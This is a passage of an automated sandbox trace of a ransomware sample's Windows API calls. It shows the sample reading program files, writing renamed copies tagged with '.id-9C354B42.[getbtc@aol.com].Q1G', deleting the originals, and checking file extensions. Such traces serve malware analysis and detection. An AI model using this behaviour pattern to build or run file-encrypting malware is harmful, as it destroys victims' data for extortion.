MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.907] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.907] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0238.908] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0241.897] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.897] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0241.940] GetLastError () returned 0x0 [0241.940] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x6906, lpOverlapped=0x0) returned 1 [0241.944] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6910, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6910, lpOverlapped=0x0) returned 1 [0241.945] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.945] WriteFile (in: hFile=0x37c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.946] SetEndOfFile (hFile=0x37c) returned 1 [0241.946] CloseHandle (hObject=0x37c) returned 1 [0241.946] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.946] SetEndOfFile (hFile=0x394) returned 1 [0242.051] CloseHandle (hObject=0x394) returned 1 [0242.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.052] lstrlenW (lpString=".doc") returned 4 [0242.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.052] lstrlenW (lpString=".docx") returned 5 [0242.052] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.052] lstrlenW (lpString=".pdf") returned 4 [0242.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.052] lstrlenW (lpString=".xls") returned 4 [0242.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.052] lstrlenW (lpString=".xlsx") returned 5 [0242.052] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.052] lstrlenW (lpString=".ppt") returned 4 [0242.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.052] lstrlenW (lpString=".zip") returned 4 [0242.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.052] lstrlenW (lpString=".rar") returned 4 [0242.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.052] lstrlenW (lpString=".bz2") returned 4 [0242.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString=".7z") returned 3 [0242.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString=".dbf") returned 4 [0242.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString=".1cd") returned 4 [0242.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString=".jpg") returned 4 [0242.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString=".doc") returned 4 [0242.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString=".docx") returned 5 [0242.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.053] lstrlenW (lpString=".pdf") returned 4 [0242.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString=".xls") returned 4 [0242.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.053] lstrlenW (lpString=".xlsx") returned 5 [0242.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.053] lstrlenW (lpString=".ppt") returned 4 [0242.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.053] lstrlenW (lpString=".zip") returned 4 [0242.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.053] lstrlenW (lpString=".rar") returned 4 [0242.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString=".bz2") returned 4 [0242.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.053] lstrlenW (lpString=".7z") returned 3 [0242.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.054] lstrlenW (lpString=".dbf") returned 4 [0242.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.054] lstrlenW (lpString=".1cd") returned 4 [0242.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF") returned 63 [0242.054] lstrlenW (lpString=".jpg") returned 4 [0242.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.054] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.054] lstrlenW (lpString="BD06200_.WMF") returned 12 [0242.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.062] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=16676) returned 1 [0242.062] CloseHandle (hObject=0x394) returned 1 [0242.062] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x20 [0242.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0242.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0242.111] GetLastError () returned 0x0 [0242.111] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4124, lpOverlapped=0x0) returned 1 [0242.116] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0242.117] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.117] WriteFile (in: hFile=0x3a0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.117] SetEndOfFile (hFile=0x3a0) returned 1 [0242.117] CloseHandle (hObject=0x3a0) returned 1 [0242.117] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.117] SetEndOfFile (hFile=0x394) returned 1 [0242.128] CloseHandle (hObject=0x394) returned 1 [0242.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.351] lstrlenW (lpString=".doc") returned 4 [0242.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".docx") returned 5 [0242.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.351] lstrlenW (lpString=".pdf") returned 4 [0242.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".xls") returned 4 [0242.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.351] lstrlenW (lpString=".xlsx") returned 5 [0242.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.351] lstrlenW (lpString=".ppt") returned 4 [0242.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.351] lstrlenW (lpString=".zip") returned 4 [0242.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.351] lstrlenW (lpString=".rar") returned 4 [0242.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".bz2") returned 4 [0242.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".7z") returned 3 [0242.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.351] lstrlenW (lpString=".dbf") returned 4 [0242.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".1cd") returned 4 [0242.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".jpg") returned 4 [0242.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".doc") returned 4 [0242.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".docx") returned 5 [0242.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.352] lstrlenW (lpString=".pdf") returned 4 [0242.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".xls") returned 4 [0242.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.352] lstrlenW (lpString=".xlsx") returned 5 [0242.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.352] lstrlenW (lpString=".ppt") returned 4 [0242.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".zip") returned 4 [0242.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.352] lstrlenW (lpString=".rar") returned 4 [0242.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".bz2") returned 4 [0242.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".7z") returned 3 [0242.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".dbf") returned 4 [0242.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.352] lstrlenW (lpString=".1cd") returned 4 [0242.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF") returned 63 [0242.353] lstrlenW (lpString=".jpg") returned 4 [0242.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.353] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.353] lstrlenW (lpString="BD08773_.WMF") returned 12 [0242.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.360] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=24778) returned 1 [0242.360] CloseHandle (hObject=0x338) returned 1 [0242.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0242.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0242.450] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.451] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.710] GetLastError () returned 0x0 [0242.710] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0242.712] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0242.713] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.713] WriteFile (in: hFile=0x204, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.714] SetEndOfFile (hFile=0x204) returned 1 [0242.714] CloseHandle (hObject=0x204) returned 1 [0242.714] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.714] SetEndOfFile (hFile=0x200) returned 1 [0242.716] CloseHandle (hObject=0x200) returned 1 [0242.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.742] lstrlenW (lpString=".doc") returned 4 [0242.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".docx") returned 5 [0242.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.742] lstrlenW (lpString=".pdf") returned 4 [0242.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".xls") returned 4 [0242.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".xlsx") returned 5 [0242.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.742] lstrlenW (lpString=".ppt") returned 4 [0242.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.742] lstrlenW (lpString=".zip") returned 4 [0242.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.742] lstrlenW (lpString=".rar") returned 4 [0242.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".bz2") returned 4 [0242.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString=".7z") returned 3 [0242.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.742] lstrlenW (lpString=".dbf") returned 4 [0242.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString=".1cd") returned 4 [0242.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString=".jpg") returned 4 [0242.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString=".doc") returned 4 [0242.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString=".docx") returned 5 [0242.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.743] lstrlenW (lpString=".pdf") returned 4 [0242.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString=".xls") returned 4 [0242.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.743] lstrlenW (lpString=".xlsx") returned 5 [0242.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.743] lstrlenW (lpString=".ppt") returned 4 [0242.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString=".zip") returned 4 [0242.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.743] lstrlenW (lpString=".rar") returned 4 [0242.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString=".bz2") returned 4 [0242.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.743] lstrlenW (lpString=".7z") returned 3 [0242.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.743] lstrlenW (lpString=".dbf") returned 4 [0242.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.744] lstrlenW (lpString=".1cd") returned 4 [0242.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0242.744] lstrlenW (lpString=".jpg") returned 4 [0242.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.744] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0242.744] lstrlenW (lpString="BD09031_.WMF") returned 12 [0242.744] CreateFileW (lpFileName="C:\\Program 